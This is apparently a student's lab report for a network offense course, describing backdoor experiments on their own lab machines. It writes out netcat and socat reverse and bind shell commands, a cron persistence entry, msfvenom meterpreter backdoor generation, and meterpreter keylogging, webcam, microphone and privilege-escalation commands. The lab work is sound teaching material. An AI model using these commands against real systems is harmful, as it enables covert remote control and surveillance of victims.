2018-2019~3 20165107 《网络对抗技术》Exp2 后门原理与实践

20165107 《网络对抗技术》Exp2 后门原理与实践

实验内容

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

 

基础问题

(1)   例举你能想到的一个后门进入到你系统中的可能方式?

当访问网站时,网页自动链接到下载木马程序的地址,并在后台自动下载安装木马,生成可执行文件,形成后门。

(2)   例举你知道的后门如何启动起来(win及linux)的方式?

Windows中:1、与其余的应用程序或者文件等捆绑起来并伪装成常用软件诱使用点击,只要执行这个应用程序,后门就会启动  2、后门设置成开机启动,开机后门即启动。Linux中:通过设置corn定时启动后门程序。

(3)   Meterpreter有哪些给你映像深刻的功能?

1、植入后门可以控制被控主机的shell,执行指令  2、获取被控主机的录音、录像、截图、键盘输入记录等,窃取受害者信息。

(4)如何发现自己有系统有没有被安装后门?
打开防火墙,查看有没有异常开放的端口;安装杀毒软件,实时监控电脑,定时对系统进行检测;查看任务计划程序、开机自启动项、注册表项中是否有可疑程序。

 

相关知识

ncat

  • Win获得Linux Shell

windows打开监听:ncat.exe -l -p 5107

Linux反弹连接win:nc 192.168.58.1 5107-e /bin/sh(IP为win IP)

windows下获得一个linux shell,可运行任何指令,如ls

  • Linux获得Win Shell

Linux运行监听指令:nc -l -p 5107

Windows反弹连接Linux:ncat.exe -e cmd.exe 192.168.150.131 5107(IP为Linux IP)

Linux下看到Windows的命令提示

  • 传输数据

Windows下监听端口:ncat.exe -l -p 5107

Linux下连接到Windows的端口:nc 192.168.58.1 5107(IP为win IP)

建立连接之后,就可以传输数据

socat

  • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

 

Meterpreter

  • 具有强大的功能,特别是其socks代理。
  • 有关参数可以参考MSF,里面有介绍一些后门的生成。
  • 相关参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。

-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。

-e 使用的编码器,用于对shellcode变形,为了免杀。

-i 编码器的迭代次数。如上即使用该编码器编码5次。

-b badchar是payload中需要去除的字符。

 

实验步骤

任务一:使用netcat获取主机操作Shell,cron启动。

  • 使用netcat获取主机操作Shell,cron启动
  • 这里将kali作为被攻击目标
  • 在Windows下打开命令行,使用ipconfig查看Windows的IP地址为192.168.58.1
  • Windows中使用ncat.exe -l 5107监听5107端口
  • 在Kali中,使用crontab -e指令编辑一条定时任务,选择编辑器时选择"3",在底行插入35 * * * * /bin/netcat 192.168.58.1 5107 -e /bin/sh(意为在每个小时的第35分钟反向连接Windows端口)

  • :wq保存退出配置即生效,可通过crontab -l查看
  • 在系统时间到第35分钟,就发现获得kali shell

 

任务二:使用socat获取主机操作Shell, 任务计划启动。

  • win10系统中找到左下角的windows标志:右键-计算机管理-任务计划程序-创建任务。
  • 常规中填写任务名称win,通过触发器-新建新建触发器,然后确定
  • 操作-新建,导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:5107 exec:cmd.exe,pty,stderr(意为把cmd.exe绑定到端口5107,同时把cmd.exestderr重定向到stdout上)
  • 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,双击任务计划程序库可以发现之前创建的任务已经开始运行,若未运行手动运行文件夹。
  • 在kali中输入socat - tcp:192.168.58.1:5107(-代表标准的输入输出,第二个流连接到Windows主机的5107端口,IP为windows的IP),接着可以发现已经成功获得一个cmd shell

 

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.32 LPORT=5107 -f exe > 20165107_backdoor.exe(IP为kali的IP)生成后门程序20165107_backdoor.exe
  • 在Windows中使用ncat.exe -lv 5107 > 20165107_backdoor.exe查看连接状态
  • kali中输入nc 192.168.58.1 5107 < 20165107_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上,主机显示传输成功。

  • 在kali中新打开一个终端,使用msfconsole进入msf控制台

  • 输入use exploit/multi/handler使用监听模块,设置payload
  • 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
  • set LHOST 192.168.92.128此处为kali的IP(和生成后门程序时指定的IP相同)
  • 端口号也相同:set LPORT 5107
  • 运用show options指令查看运行过程中的问题
  • 设置完成后,exploit开始监听

  • 在win10中双击20165107_backdoor.exe运行,连接成功。

 

 

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 重复上个内容操作至exploit
  • 使用record_mic可以截获一段音频
  • 使用webcam_snap可以使用摄像头进行拍照,但摄像头未打开,无法拍照,指令已经懂了
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
  • 使用screenshot可以进行截屏

  • 还可以使用getuid查看当前用户,使用getsystem进行提权

 

 

 

实验过程中遇到的问题

1、socat与主机连接不上,解决的方法是找到任务目录手动运行创建的win任务,尝试多次锁定、打开主机,可执行连接。

 

2、使用MSF meterpreter生成可执行文件,利用ncat传送到主机时连接不上,经同学帮助,运用leafpad /etc/network/interfaces修改kali网络地址,使其和主机IP地址在同一网段,终于可以连接上了。

 

实验总结与体会

通过本次实验我了解了后门的基本原理,按照老师的指导和实验要求一步步完成实验,在不断出错、修正的反复实践的过程中,学习后门相关操作,体会到后门的"巨大威力",同时我也意识到网络安全问题的严重性,提高了自身网络安全意识。本次实验难度较大,耗时较长,但很有意思、收获巨大,我也感觉到自己网络对抗技术水平的薄弱,以后还要努力钻研,跟紧课程进度和老师节奏,继续学好后续系列知识。

 

posted on 2019-03-23 23:06  刘一林  阅读(190)  评论(0编辑  收藏  举报

导航